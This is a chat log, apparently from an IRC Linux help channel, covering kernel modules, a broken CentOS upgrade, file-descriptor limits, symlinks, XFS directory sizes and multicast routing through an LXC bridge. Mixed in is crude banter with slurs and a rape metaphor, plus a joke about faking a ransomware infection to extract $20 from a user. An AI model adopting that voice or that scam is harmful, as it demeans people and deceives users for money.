08:32 < notmike> there are levels of retardation most cant even fathom
08:32 < pingfloyd> that's kind of the sign of hard times.  When you're having to doctor up foods you hate to make them more bearable to eat.
08:32 < pingfloyd> gotta do what you gotta do though
08:32 < notmike> pingfloyd: I only eat it because the fats and protein work together to slow digestion for sleep
08:32 < pankaj_> iodev: I do but most of the resources just teach till the basics and when it comes to really handling these modules like information about modules why each is important and what specifically will happen when it is stopped and what is the reason that many of them are inside linux kernel and why some of them are externally loaded till now. These type of question do not get answered.
08:33 < notmike> important for bodybuilding
08:33 < pingfloyd> my stomach doesn't really like any lactose products anymore
08:33 < pankaj_> notmike: I just want to load them manually so that I can load whatever (on the basis of if I want them or not) so that space can be saved and I can also learn more about the kernel module stuff
08:34 < notmike> I hate when vegan nazis talk about "we're the only animal that drinks the milk of another animal"
08:34 < pingfloyd> I love ice cream and cheese though
08:34 < notmike> we're also the only one that figured out how. pretty sure my cat would definitely raise cows for milk
08:34 < pankaj_> notmike: What is the difference -> Many of kernel modules are now come prepackaged with linux kernel, some of them (as I saw on my arch linux system it is 111) are externally loaded and what about services started by systemd?
08:35 < oneko> kurahaupo: lol @ ##linux is right next to ##llmas
08:35 < oneko> *llamas
08:35 < pingfloyd> notmike: vegans are annoying period
08:35 < pingfloyd> notmike: they're like a cult
08:35 < pingfloyd> shame you for eating meat etc.
08:35 < notmike> idefiniotely intellectualy dishonest and insulting, to boot
08:36 < pingfloyd> they wouldn't live long in the wild
08:36 < pankaj_> pingfloyd: I am also vegan but now I want that my issue of linux get resolved first.
08:36 < pankaj_> pingfloyd: At this time specifically.
08:36 < pingfloyd> they're just a reflection of how overindulgent we have become
08:36 < pingfloyd> food is so plentiful that you can get religious about it
08:36 < notmike> I asked one how all these animals get to these rescue farms. She tried to tell me they learn how to open the gate and run away or jump off the truck
08:36 < notmike> come on, bro, just be real with me. you guys steal those animals.
08:37 < pingfloyd> fanatics
08:37 < notmike> I'd respect them way more if they just admit that they steal the animals and that they think its ok to steal other people's animals. at least I would have to respect the honesty.
08:38 < pankaj_> pingfloyd: Nature will take its own revenge when humans will leave no bounds to rape her.
08:38 < pingfloyd> pankaj_: nature is indifferent about you, me, and everything else
08:38 < notmike> pankaj_: I don't think anyone understands your linux problem. Can you state it simply?
08:38 < pingfloyd> nature isn't friendly to anyoen
08:38 < pingfloyd> or anything
08:38 < notmike> What do you want to happen?
08:39 < notmike> Real talk, if I died and nobody found me for a few days, my cat would eat me if he had to.
08:39 < pingfloyd> protein might help your brain think clearer to explain the issue better.  Just saying.
08:39 < iodev> pankaj_: wrong, you find everything on google
08:39 < iodev> you just gotta know how to search
08:39 < iodev> think!
08:39 < pingfloyd> notmike: yep
08:39 < pingfloyd> notmike: and I wouldn't hold it against them
08:40 < notmike> me either, that's how the world works.
08:40 < pingfloyd> notmike: hopefully it would be enough for them to make it
08:40 < pankaj_> notmike: When I hear people saying about PCI and device drivers and kernel modules and how they handle these issues while downloading device drivers loading them and talking about difference components like psmice, usb etc I also want to learn about them so that I can also deal with these issues.
08:40 < notmike> I would note that I don't think factory farming is necessarily ok. its a problem, probably, but people eat meat. its what we do.
08:40 < pingfloyd> like if it sustained to live to be rescued, I'd be glad that my corpse went to such good use.
08:40 < epicmetal> If we weren't meant to eat meat, it wouldn't be so delicious
08:40 < notmike> pankaj_: you're probably talking about modprobe and/or lsmod
08:40 < pankaj_> notmike: But whenever I search on net I get introduced to some basics about it and then it is over.
08:41  * epicmetal had some really good bacon today
08:41 < notmike> there's a file you can edit, too, but I don't remember what its called. You can blacklist modules there
08:41 < pingfloyd> pankaj_: too open ended
08:41 < pankaj_> pingfloyd: What does that mean?
08:42 < notmike> pankaj_: https://wiki.archlinux.org/index.php/Kernel_module
08:42 < pingfloyd> if you care about the nitty gritty details, that's where you start getting involved in the kernel.
08:42 < pankaj_> pingfloyd: Currently I have build my lfs system. The channel is not responding now otherwise I would have gained some knowledge how to download modules handle them and which to download for which controller.
08:42 < notmike> archwiki was hands down the most important of the dead sea scrolls
08:43 < epicmetal> rofl
08:43 < pankaj_> notmike: Is it just a introduction like many of others?
08:43 < notmike> no, it is the literal word of god. wtf?
08:44 < pankaj_> notmike: When searching or googling it is true that many of the device drivers are only available for windows. Many of them do not provide linux as option also. Why? So, how does linux community handles all these device drivers?
08:44 < pankaj_> notmike: On manufacturer website specifically.
08:44 < notmike> Let me take a shot in the dark.
08:44 < notmike> we write them.
08:45 < pingfloyd> pankaj_: you can't expect to be able to use windows drivers on linux or vice versa
08:45 < lilltiger> "And the god of Linux said: Use the Arch my son, the Arch will show you the way."
08:45 < pankaj_> pingfloyd: Yes, I know
08:45 < pingfloyd> that's what I hate about Arch.  Its cult.
08:46 < pankaj_> pingfloyd: That is why I am asking like if I want to do it manually then how to and where to search for linux related device driver which I want to download.
08:46 < pingfloyd> like a macos of linux dists in that sense
08:46  * epicmetal wipes tear from eye
08:46 < lilltiger> pingfloyd: Relive your heart from hatred, come join us and walk in the sun.
08:46 < notmike> ^
08:46 < pankaj_> pingfloyd: Is that the answer because I am not enough good in english to understand or have grasp of that.
08:47 < pingfloyd> lilltiger: no thank you, been there and done that, and know greener pastures.
08:47 < epicmetal> pingfloyd: you're a debian man, iirc
08:47 < pingfloyd> epicmetal: for the most part
08:47 < notmike> Honestly, pankaj_ you'd probably get saved real fast in #archlinux
08:47 < pingfloyd> epicmetal: it's more that debian is what I know so well, and I can easily mold it into anything I want.
08:47 < epicmetal> pingfloyd: I'm trying out Devuan 2.0 today
08:48 < lilltiger> pingfloyd: One always think itäs greener on other other side, but if you join us, we will show you how to care for your garden and make it as green and lucious as the paradise garden!
08:48 < pingfloyd> mold it into anything I want, while taking the monotony out of it
08:48 < pankaj_> notmike: Well, it is not funny for me because I came here to get some advice. SO, please tell cleraly.
08:49 < notmike> I'm being genuine. The Arch community is great, very helpful. They don't even care if you use Linux. They won't judge you like jim!
08:49 < notmike> ijk, jim is cool too
08:50 < pankaj_> notmike: OK. going to archlinux. Hope they help if someone understand the issue..
08:50 < lilltiger> pingfloyd: Ohh your lost soul, have you sould your soul to the fallen angel Debian. If you clense your heart, reject the darkness, you once again can walk in the sun to throught our medaows.
08:50 < epicmetal> lilltiger: that's enough lol
08:50 < notmike> Debian is such a trickster
08:51 < pankaj_> notmike: Just one question. What is so interesting about Debian. Is it right as you said now that you can install and configure debain in any way youlike. Please tell.
08:51 < epicmetal> It's tricky to rock an OS, to rock an OS, and OS that's FOSS, it's tricky...
08:53 < pingfloyd> firmware is usually the ultimate dilemma with that
08:53 < notmike> pankaj_: you can do that with any linux distro
08:54 < pingfloyd> like if your goal is to run 100% free system, you may make it through getting away from all non-free progs, but you may be stuck with proprietary hardware whether you like it or not.
08:54 < b4d> Hi, is there any way to check in a bash script, if wget downloaded a new file and then do something if it did, or something else if it did not download?
08:54 < pingfloyd> *proprietary firmware
08:55 < demonxian3> hello
08:55 < pingfloyd> I think that situation will get better over a long course of time though
08:56 < demonxian3> are there any dark web sites
08:56 < pingfloyd> is that a trick question?
08:57 < demonxian3> i just want to visit
08:58 < cheapie> So I found out why so many traffic light controllers here in the US run Linux...
08:58 < pankaj_> notmike: But that is the question I have been asking again and again. How to get started.
08:58 < Spookan> demonxian3: I guess that some people make them dark, just google it.
08:58 < pankaj_> notmike: When I type lsmod I do not know what do these modules do. I google about them but they answer differently and sometimes not.
08:58 < cheapie> The latest (ATC) standards _require_ it. Sure, not everywhere uses those standards, but many places do and it's probably easiest for the manufacturers to just make and sell one controller model.
08:59 < pingfloyd> pankaj_: read the associated kernel docs
08:59 < notmike> read the docs
08:59 < pingfloyd> pankaj_: each module has docs
08:59 < pankaj_> notmike: And what about kernel built in modules. I studied that I should install and build those device drivers with linux kernel that are required. How to do that again?
08:59 < pankaj_> pingfloyd: So, can you please provide the link?
08:59 < notmike> pankaj_: https://www.kernel.org/doc/html/latest/
08:59 < pankaj_> pingfloyd: OK. I also got the same advice from the other channel about doc and archwiki kernel.
09:00 < notmike> You're clearly not reading any of these links.
09:00 < Ratler> pankaj_: download the linux kernel source, run make nconfig, read the descriptions for each module (you will be busy for a few days).
09:00 < pankaj_> notmike: It was better when people used to go through a lot of pain while installing linux from source. Atleast they acquire a good knowledge by doing this.
09:01 < notmike> You can still do that.
09:01 < pankaj_> Ratler: I just want to learn.
09:01 < Ratler> That's exactly how you learn
09:01 < notmike> Unless you use Debian and then you'll be broken forever.
09:01 < Ratler> Build your own kernel and see if it works
09:01 < Ratler> Then you figure out why it doesn't :)
09:01 < pankaj_> notmike: I am using arch. Is it not good or does debian provide more independence?
09:02 < notmike> I really don't believe that.
09:02 < searedvandal> you learn by reading documentation and by doing
09:02 < pankaj_> Ratler: I just build my new linux from scratch.
09:02 < Ratler> Following a guide right?
09:02 < pingfloyd> pankaj_: https://www.kernel.org/doc/Documentation/
09:02 < Ratler> That's not how you learn ;)
09:02 < notmike> pankaj_: http://tldp.org/LDP/lkmpg/2.6/html/index.html
09:02 < pingfloyd> pankaj_: also the source
09:03 < pankaj_> Ratler: But did not get satisfied because I did not get into insight of device drivers and kernel modules and all that stuff
09:03 < pankaj_> notmike:  OK. Thanks. Going for kernel docs
09:03 < Ratler> Just do what I told you, and you will start to learn how the kernel actually works and how to configure one properly
09:03 < jim> debian does a heluva lot of stuff for you, mostly stuff that you say you want to learn about
09:04 < notmike> o Debian, you great deceiver, you will never again taste the sweet nectar of the Arch. - archwiki Apocrypha
09:05 < jim> debian is great for servers, as the stuff it does can help the server stay afloat and lets you install pretty much whatever you want
09:05 < notmike> can I install pacman?
09:06 < pingfloyd> why would you want to?
09:06 < jim> on what?
09:06 < pingfloyd> downgrade your package manager?
09:06 < notmike> debian ... lets you install pretty much whatever you want
09:06 < pingfloyd> notmike: technically, there's nothing stopping you from doing so
09:07 < pingfloyd> notmike: pacman has source code right?
09:07 < jim> there's something called alien, which allows you to install packages from other systems... I dunno its status currently
09:07 < iodev> notmike: NO
09:07 < searedvandal> "Package: pacman (10-17.2 and others)"
09:07 < iodev> you may not install pacman on debian, debian got dpkg
09:08 < iodev> notmike: and they would conflict with each other.
09:08 < pingfloyd> there are of course other dilemmas you have to work out to make such a configuration useful, such as how the dependencies and package organization vary a lot between the two.
09:09 < notmike> interesting
09:09 < rogr> hey folks, question about open file descriptors. I'm actually on mac but hoping #linux might have the knowhow.  I think my kern.maxfiles hard limit is unlimited (soft is 256) but I can't set the ulimit past 10K.. All this has to do with me trying to process 2M files in a nodejs script and I keep hitting a ENFILE: file table overflow error
09:10 < pingfloyd> pacman pkg on Debian -> "Description-en: Chase Monsters in a Labyrinth"
09:10 < pingfloyd> so what does arch name the pacman game package?
09:11 < pingfloyd> K.C. Munchkin?
09:11 < freyrd> Good morning, just got a user at  my desk, his CentOS install is broken. Apparently while upgrading to 7.5 it got interupted and now it's broken. I've got gnome working again and able to login, just got a ton of broken packages left. The things i've tried so far: package-cleanup --cleandupes, yum upgrade, yum update, trying to remove a version of glibc (duplicate) but both yell that they're in use and needed by a ton of package
09:11 < notmike> erase and reinstall
09:11 < notmike> arch
09:12 < freyrd> Not an option
09:12 < dongbag> I have a small embedded linux device and I want to send messages to a server someplace on the web... I have zero idea what I am doing... is there a good book that explains this stuff?
09:12 < dongbag> like I want to send several kilobytes
09:12 < pingfloyd> freyrd: reinstall centos
09:12 < Sveta> freyrd: perhaps ask #centos in case they have more specific advice
09:13 < pingfloyd> it's probably so fubar at this point, it's not worth the time to try to fix
09:13  * notmike feels the presence of Sveta's banhammer
09:13 < pingfloyd> reinstall and restore data and get on with life.
09:13 < freyrd> Prefer not to reinstall centos, user is complaining about loads of configs etc. Trying to fix it first, reinstall is always a possibility
09:13 < pingfloyd> freyrd: probably going to be like unraveling a ball of yarn
09:13 < freyrd> Sveta: asked there aswell, thanks
09:14 < notmike> freyrd: why not remove the hard drive, copy the home and /etc directories, reinstall, and reconfigure.
09:14 < pingfloyd> fix one thing, and 2 other issues pop up in its place and so on.
09:14 < freyrd> Investing roughly 1 hour, if it ain't fixed by then I'll just reinstall I think
09:14 < pingfloyd> freyrd: get a list of the programs manually installed first though
09:14 < notmike> ^ and the config files they're so enamored with
09:15 < pingfloyd> if it were debian, you could do apt-mark showmanual > pkglist
09:15 < notmike> but its not Debian, its centos
09:15 < pingfloyd> that will take the guess work about what programs to reinstall after fresh installation
09:16 < pingfloyd> migrate or backup/restore /etc, /home, maybe /usr, maybe /root
09:16 < pingfloyd> *maybe /usr/local
09:16 < pingfloyd> notmike: surely centos has an equivalent
09:17 < notmike> That's what I would do. Copy all the important stuff, reinstall the latest and greatest version of the OS, take credit for being that guy
09:17 < notmike> Tell them there's ransomware and it needs $20
09:17 < notmike> cash
09:18 < pingfloyd> if the user whines, tell him, next time to know what he's doing.
09:18 < pingfloyd> his/her one fault for messing around with stuff they don't understand.
09:18 < pingfloyd> it's okay to do that, if you're the one who fixes it.
09:19 < notmike> freyrd: are you getting this?
09:19 < notmike> Also, you should slap them on GP for not making backups
09:21 < pingfloyd> people can even be a victim to ransomware and not learn their lesson about not making backups.
09:21 < pingfloyd> how about when a manager says something like, "Well... how much are they asking for?"
09:22 < pingfloyd> that's when you want to strangle them
09:23 < notmike> Makes me want to write some ransomware.
09:27 < baako> hey guys i am using docker  and trying to start my db and i got this https://paste.ee/p/3DnYR#dooHVbA0ZJni9C22aNFtVWxbLQtgNlez
09:27 < baako> Error starting userland proxy: listen tcp 0.0.0.0:7780: bind: address already in use how do i free it up?
09:32 < pingfloyd> notmike: it's probably pretty lucrative
09:33 < pingfloyd> the guy making money works with human nature instead of against it.
09:33 < pingfloyd> hence why anyone can make a lot of money selling vices.
09:34 < ixxie> I have some scripts symlinking a shared directory to new home directories of users; they basically just do `ln -sf /home/shared /home/user/shared`
09:34 < ixxie> but now the shared folder is inside itself
09:34 < ixxie> recursively
09:34 < ixxie> so something went wrong xD
09:35 < pingfloyd> why did you use -f?
09:37 < pingfloyd> why not ln -s /home/shared /home/user ?
09:38 < rogr> hey, if I have a session limit of 10240 max open files per proc (kern.maxfilesperproc: 10240)  and I start something that forks a couple of child procs.. do each of the children get their own 10240 limit, or are they all sharing the limit with the parent?
09:38 < pingfloyd> that should result in /home/user/shared pointing to /home/shared
09:51 < kurahaupo> rogr: the are two limits: per process, and system-wide. While the child processes have their own fd limit, they start by sharing all the same open fds, so you'll have to close some for that to be useful
09:53 < rogr> kurahaupo, there's a user limit as well right?  That's per session?
09:53 < kurahaupo> There's only two error codes: EMFILE & ENFILE
09:53 < Voyager82> Hi. Probably this is a question more related to a Windows channel. A have a relatively old computer. I was looking for a way of installing LXDE (Leightweight Desktop Environment) on Windows, in order to get rid of all the complex GUI effects, leaving all the other features intact, but it seems there none. I'm currently using Linux in most occasions. What is a way to run Windows program, on an old computer, consid
09:53 < Voyager82> ering that the user most of the time uses Linux?
09:54 < kurahaupo> I've very rarely worked with systems that gave quotas enabled, but I don't think there's any per-users or per-session limit
09:55 < kurahaupo> s/gave/have
09:55 < searedvandal> Voyager82, if you want to run Windows programs under linux, take a look at WINE https://www.winehq.org/
09:56 < Voyager82> searedvandal, yes. I know Wine. It doesn't work on all occasions.
09:56 < ixxie> pingfloyd: the script will sometimes be run on existing users
09:56 < rogr> kura, but where do ulimits fit into there?
09:56 < ixxie> pingfloyd: so if the symlink exists, -f will make the script run fine anyway
09:57 < searedvandal> Voyager82, that's true.
09:57 < rogr> if the ulimit for open files is 1000,   than all processes in the session are pooling in that 1k limit?
09:57 < rogr> s/than/then
10:00 < Voyager82> searedvandal, as far as you know, is there a way to limit all the GUI effects of the latest versions of Windows?
10:00 < rogr> kurahaupo ^^
10:00 < searedvandal> Voyager82, ##windows would be the place to ask about that
10:01 < Voyager82> Thank you, searedvandal.
10:02 < kurahaupo> rogr: that interpretation wouldn't be a useful way to conserve resources, because any process is able to create a new session; it's not restricted to root
10:04 < kurahaupo> It's conceivable that a limit could be applied at the Container (namespace) level, or for SE contexts, but per-session would be pointless, and per-user would be costly to get right
10:05 < kurahaupo> (two processes can share an open file resource even if they run as different users, so the accounting would be nightmarish)
10:06 < kurahaupo> rogr: so the more I think about this, the more I'm sure there isn't any such limit
10:07 < jhodrien> process cgroup
10:07 < kurahaupo> rogr: the ENFILE and ENFILE errors are actually indicating different resources are exhausted
10:08 < jhodrien> Isn't that what you'd be talking about if you're wanting to limit a set?
10:08 < kurahaupo> jhodrien: oh right
10:08 < jhodrien> https://www.kernel.org/doc/Documentation/cgroup-v1/pids.txt
10:09 < kurahaupo> Cgroups, not sessions
10:09 < kurahaupo> So yes Containers, but because of cgroups rather than namespaces
10:10 < kurahaupo> jhodrien: thanks
10:15 < rogr> I follow some of that.. thanks for the assist guys
10:23 < pingfloyd> ixxie: I see, did you see my command?
10:24 < pingfloyd> ixxie: your link arg didn't seem right
10:24 < pingfloyd> ixxie: you arg would make sense that it would end up as /home/user/shared/shared
10:26 < ixxie> pingfloyd: so it should be /home/user instead of /home/user/shared
10:29 < wiebel> Hi, does someone have a accurate definition of the directory size displayed by ls? I wasn't able to find it in info or man.
10:32 < Wulf> wiebel: directories take up space like any other file
10:33 < pingfloyd> ixxie: yeah
10:33 < wiebel> Wulf, I'm aware of it, but what exactly is taking up the space.
10:34 < Wulf> wiebel: for example the file names
10:35 < pingfloyd> ixxie: did that fix the problem?
10:36 < Wulf> wiebel: it depends on the file system what it stores about each file and how large the directoy will be
10:36 < wiebel> Wulf, i'm looking for some exact definition, it also is dependant of the filesystem used.
10:37 < Wulf> wiebel: why do you think that there is (or should be) an exact definition?
10:37 < searedvandal> wiebel, ls display sizes in blocks. https://www.gnu.org/software/coreutils/manual/html_node/Block-size.html#Block-size
10:37 < Wulf> wiebel: and why do you even care?
10:37 < ixxie> pingfloyd: well as far as I can tell the current approach is not problematic
10:37 < ixxie> I have been testing and its not a problem to have ln -sf /home/shared /home/user/shared
10:38 < ixxie> it seems something happened at some point out of script
10:38 < Wulf> searedvandal: from your link: " For ls file sizes, the block size defaults to 1 byte"
10:38 < searedvandal> yes
10:38 < wiebel> I do have a Directory containing >2million files leading di a Directory of 157M and I'm simply curios, what is exactly stored.
10:40 < pingfloyd> ixxie: do you want it to where user can cd to /home/user/shared and they are essentially in /home/shared at that point?
10:41 < wiebel> searedvandal, i've been there, this also leads to ext* using multiples of 4k for directory entries.
10:41 < dadabidet> I used to do g++ thing.cc && ./a.out is make && ./a.out supposed to work too?
10:42 < dadabidet> I used to do g++ thing.cc && ./a.out I know use make && ./a.out supposed to work too?
10:42 < dadabidet> (sorry bad grammar)
10:42 < dadabidet> (wait no it was fine)
10:44 < searedvandal> wiebel, I don't think I follow what you are trying to do. Are you saying you have a directory with >2 mill files, and the directory is 157M? And you're asking what's stored in the directory?
10:44 < wiebel> dadabidet, you have to define what make should do in a makefile. normaly you don't use a makefile just to produce a a.out. But you can if you like.
10:45 < pingfloyd> a.out is usually the default output executable name
10:45 < dadabidet> wiebel, so make can execute if it built without errors?
10:45 < pingfloyd> dadabidet: i.e., it is what you execute when you want to "run the program"
10:46 < jim> the file a.out is (usually) an executable, usually created by a compiler
10:47 < shrdlu68> Would you happen to know why it's called "a.out"?
10:47 < pingfloyd> dadabidet: usually if there is a make involved.  The makefile will use an explicit name for the resulting executable instead of a.out.
10:47 < jim> what make does is it tries to "bring a project up to date", by comparing time stamps of the source to time stamps of the output... if the output is newer, the project is uptodate
10:48 < dadabidet> I just like to use things by default
10:48 < jim> shrdlu68, that's the default name of the compiler output
10:48 < pingfloyd> dadabidet: that is, projects come with makefiles and usually name their executable(s) after the project.
10:48 < shrdlu68> Yeah, but why that particular name?
10:48 < wiebel> searedvandal, no, internet reseach on that matter is clogged by "use du". I had a directory usind 157M (Yes the directory itself, not talking about the content) now i deleted more than 2 million zero sized files. I'm left with a Directory containing 8 Files containing 13M, but the directory still uses 3.6M. I copied all Files to a fres directory, leading to an Directory using up 286 Bytes, whis is much more what I was expecting.
10:49 < pingfloyd> shrdlu68: a.out is for historical reasons
10:49 < shrdlu68> Is it in the standadrd?
10:49 < pingfloyd> shrdlu68: "a.out is a file format used in older versions of Unix-like computer operating systems for executables, object code, and, in later systems, shared libraries. This is an abbreviated form of "assembler output", the filename of the output of Ken Thompson's PDP-7 assembler.[1] The term was subsequently applied to the format of the resulting file to contrast with other formats for object code."
10:49 < Wulf> wiebel: Absolutely required are the file name and the inode of each file. And then you also need some data structures which mean additional overhead. The file names might take less space than expected, e.g. when they're stored as a trie.
10:50 < Wulf> wiebel: look at the source code or documentation of the file system you use.
10:50 < wiebel> So it seams there is some cluttering going on, that's why I'm trying to find some information.
10:50 < shrdlu68> Ah, appears to be historical, shortening of "assembler output": https://en.wikipedia.org/wiki/A.out
10:50 < searedvandal> wiebel, now I understand. see what Wulf said.
10:50 < wiebel> Wulf, probably true I'm at: http://xfs.org/docs/xfsdocs-xml-dev/XFS_Filesystem_Structure/tmp/en-US/html/Directories.html
10:51 < Wulf> wiebel: it should be possible to dump the contents of the directory inode. Then you can look at each byte and see what it does.
10:51 < pingfloyd> shrdlu68: that's an example of why it should always stay that way.  It incited a query about the naming and you learned some history.
10:52 < pingfloyd> i.e., that this goes all the way back to Ken Thompson.
10:53 < pingfloyd> shrdlu68: maybe you'll enjoy this https://www.youtube.com/watch?v=XvDZLjaCJuw
10:54 < shrdlu68> Ah, appears to be historical, shortening of "assembler output": https://en.wikipedia.org/wiki/A.out
10:55 < wiebel> searedvandal, Wulf Just fyi "...any entries after the deleted entry are moved or compacted to "cover" the hole..." compacting and cover probably aren't to be considered perfect. Thank you  http://xfs.org/docs/xfsdocs-xml-dev/XFS_Filesystem_Structure/tmp/en-US/html/Directories.html
10:55 < pingfloyd> shrdlu68: yep
10:55 < the_drow> I have a problem receiving and sending UDP multicast traffic inside my VM. I have two computers connected through an ethernet cable (without a router), the transmitting computer is a bare metal Windows machine. The receiving machine is a Linux host with a Windows QEMU VM running inside an LXC container. Inside the linux host I have the lxcbr0 bridge interface and the veth interface for the VM itself. How do I route the traffic
10:55 < the_drow> correctly through both network devices?
10:55 < pingfloyd> shrdlu68: did you see that link to the AT&T Archive film?
10:57 < shrdlu68> pingfloyd: Nope, my link went down.
10:57 < pingfloyd> shrdlu68: https://www.youtube.com/watch?v=XvDZLjaCJuw
11:00 < notmike> Major medical
11:09 < wiebel> the_drow, If you have both win Machines in the same subnet, no routing should be required. At least, that would be a good first test.
11:11 < notmike> Arp tables blood
11:12 < the_drow> wiebel, Routing is required because the VM is not on the same subnet as the windows machine
11:12 < wiebel> the_drow, otherwise you need some routing instance(s) as gateway for each machine.
11:12 < the_drow> The VM has a network card which is added to lxcbr0.
11:13 < the_drow> lxcbr0's subnet is 10.0.3.1/24
11:13 < wiebel> the_drow, the Gateway of the windows machine must know how to reach the othe machine.
11:13 < the_drow> It reaches the host.
11:13 < the_drow> Not the guest.
11:14 < wiebel> the_drow, in doubt the linux machine should act as gateway for the VM and provide some NAT
11:14 < notmike> I'm going to sleep, the_drow is giving me heartburn
11:14 < the_drow> with iptables?
11:14 < repys> how can I check a sd card from linux?
11:14 < the_drow> notmike, I'm sorry :P
11:14 < repys> fsck /dev/mmck0 doesn't work
11:14 < notmike> :)
11:14 < wiebel> the_drow, it might be easier if you look for a network configuration without a bridge
11:14 < djph> repys: depends on what you mean by (a) check; and (b) bad.
11:14 < the_drow> wiebel, if only that were possible.
11:15 < repys> check for bad sector
11:15 < the_drow> The VM must run in a container. Currently the architecture uses LXC which requires a bridge device.
11:15 < wiebel> the_drow, assuming both physical machines use dhcp to get an IP from your home router, the VM is also capable of doung so
11:15 < repys> and it says the superblock doesnt exist
11:15 < the_drow> wiebel, there is no router :(
11:16 < wiebel> the_drow, if you need to use the bridge, add an IP addres to the bridge (not the hosts interface. that IP should be reacable from within the VM
11:17 < wiebel> from there on you should be able to use iptables for masquerading. check if you have some ebtable entries.
11:18 < the_drow> I hate networking :D
11:18 < wiebel> the_drow, and don't forget the sysctl ip_forwarding, but all masquerading/NAT howtos contain that part.
11:19 < wiebel> the_drow, you have to embrace it it's what makes it all run together
11:22 < the_drow> I wish I read a Linux networking book before taking up this client
11:23 < djph> if you're using a bridged interface, you shouldn't even need NAT ...
11:23 < Triffid_Hunter> the_drow: looks like it has some useful stuff for you https://serverfault.com/questions/432509/linux-bridge-brctl-dosnt-forward-ip-packet-when-router-is-one-of-the-bridge-en
11:24 < shrdlu68> pingfloyd: Very nice, but I sort of expected to see a.out somewhere.
11:24 < djph> although that may depend somewhat on "what VM solution" you're using
11:24 < shrdlu68> pingfloyd: Kernighan is just as eloquent speaking as he is in K&R and his other techical books.
11:24 < Triffid_Hunter> the_drow: also see https://unix.stackexchange.com/questions/370446/how-can-i-remove-the-forwarding-delay-of-my-bridge-with-ip-iproute2
11:25 < BluesKaj> Hi folks
11:26 < pingfloyd> shrdlu68: https://www.youtube.com/watch?v=Sg4U4r_AgJU
11:27 < wiebel> djph, It looks as he is trapped, not reaching the same router a the sourcemachine, in other cases you#re right of course.
11:33 < eset> Hi. I have a problem: https://hastebin.com/uyobewoyiz.pl
11:33 < eset> I know that this is more zabbix task but maybe some of you guru linux masters can help me with this or someone had some experience with zabbix clustering
11:37 < wiebel> the_drow, Some times ago I even ... https://wiebel.org/linux/network/bridge_as_gateway/ oh well *shameless selfplug*
11:38 < djph> wiebel: yeah, not really sure what he's up to ...
11:39 < the_drow> Triffid_Hunter, Thanks! I'll read those links
11:39 < wiebel> the_drow, but careful in 6 Years things might have changed.
11:41 < the_drow> wiebel, I think we need iptables for something else
11:41 < the_drow> So I can't disable them for the bridge
11:44 < mcdnl> why not? if you dont set rules for the bridge it's like its disabled for it
11:44 < nevodka> My xdg-mime default for text/plain is currently set to wine-extension-txt.desktop, which means it starts up Wine and opens the file in Notepad..
11:44 < mcdnl> unless you have *any* rules
11:45 < nevodka> I've set xdg-mime default gedit.desktop text/plain, but a query of the default for that type shows it as the wine extension still.
11:45 < nevodka> *wat do*
11:45 < wiebel> mcdnl, as he still needs to NAT he's probably right.
11:46 < wiebel> the_drow, check if your virtualisation hasn't disabled tose parameters for you.
11:47 < wiebel> https://wiki.libvirt.org/page/Net.bridge.bridge-nf-call_and_sysctl.conf and http://patchwork.ozlabs.org/patch/29319/ suggest, that that might be possible.
11:47 < the_drow> wiebel, It's improbable since we use NAT to route TCP traffic to the Windows machine without a router
11:47 < nevodka> furthermore, my .config/mimeapps.list shows the change but the query is not
11:48 < wiebel> the_drow, I think it's time to draft the topology of your setup.
11:48 < the_drow> wiebel, I'm going for lunch soon. I'll do so after that
11:48 < mcdnl> that's what i was about to say. draw it and maybe we'll get some clue
11:49 < wiebel> the_drow, can't you simply put the VM in the same subnet as the Linux host?
11:49 < wiebel> that would be so much simpler
11:50 < nevodka> seems to be reading from .local/share/ instead. good boy strace to the rescue.
11:50 < the_drow> wiebel, lxc-net (in lxc 2.0) is not very flexible and it sets up the bridge in a very specific way
11:51 < nevodka> okay, it is set in .local/share and .config/ and still the query returns wine-extension-txt.desktop instead of gedit.txt when I query the default for text/plain
11:51 < nevodka> help me boys
11:52 < mcdnl> restart wm session
11:52 < mcdnl> just in case
11:52 < mcdnl> or maybe it's been set systemwide
12:12 < eset>  /quit
12:21 < plexigras> what is the oposite of basename?
12:22 < Sitri> dirname?
12:30 < plexigras> thanks
12:41 < the_drow> wiebel, The solution is to use smcroute and add the multicast ips to lxcbr0
12:41 < the_drow> The problem is that smcroute does not support source CIDR masks :(
12:41 < the_drow> So we have to enable all IPs we want by hand
12:41 < the_drow> See https://github.com/troglobit/smcroute/issues/81
12:42 < mcdnl> what
12:44 < the_drow> mcdnl, sorry? I was continuing a conversation from earlier.
12:45 < mcdnl> the one about your forwarding problems with a bridge?
12:47 < g105b> May I ask a question about using STDIN/OUT over ssh? I use this pattern for streaming archives of large directories over SSH: tar -czf - directory/ | ssh deploy@example.com "tar -xzvf -" but when I put the extraction command within a heredoc I get the error "gzip: stdin: unexpected end of file". Here's how I'm using heredoc: https://paste.ubuntu.com/p/WR6rVm2nKx/
12:48 < mcdnl> why dont you tar to a file and then scp it?
12:50 < the_drow> mcdnl, yes
12:50 < mcdnl> or even better, directly scp the folder?
12:50 < g105b> mcdnl: much faster to stream it, but my question is regarding the use of STDIN rather than the use of tar.
12:51 < g105b> I can read the tar data from stdin when running the remote command inside quotes, but not when running the remote command inside a heredoc.
12:52 < mcdnl> maybe you're sending the following commands in the heredoc as stdin?
12:52 < g105b> mcdnl: but they are executing.
12:54 < mcdnl> maybe has to do with this? https://stackoverflow.com/questions/40326598/why-is-stdin-closed-when-using-a-heredoc-as-input-to-shell
12:58 < mcdnl> the_drown: are your problems with multicast? or is the unicast frames that are not forwarding?
12:59 < mcdnl> the_drow:
12:59 < the_drow> multicast
12:59 < wiebel> the_drow, so your inital problem was multicast related?
13:00 < the_drow> wiebel, Didn't I mention that?
13:00 < the_drow> I did
13:00 < the_drow> "I have a problem receiving and sending UDP multicast traffic inside my VM."
13:01 < mcdnl> i wasnt in the channel when you said that heh
13:01 < the_drow> wiebel was :P
13:01 < wiebel> the_drow, doh, so sorry I missed on that one, I assumed you have a general connection problem.
13:02 < mcdnl> you might want to check if igmp snooping is enabled then
13:02 < wiebel> the_drow, glad you solved it. *scripbes some smcroute to all-time-cheatsheet*
13:03 < the_drow> I need to forward packets from 172.16.0.1-172.31.255.254. My favorite cidr calculator claims these are the right ranges http://dpaste.com/2JQ21W2
13:03 < mcdnl> thats 172.16.0.0/12
13:03 < mcdnl> in short
13:04 < the_drow> mcdnl, That's not accurate since the first IP is 172.16.0.0 and the last one is 172.31.255.255
13:04 < the_drow> Both of those IPs shouldn't be included
13:05 < mcdnl> you may have it easier routing the whole subnet and making exceptions for those two
13:05 < mcdnl> i dont know how smcroute works though
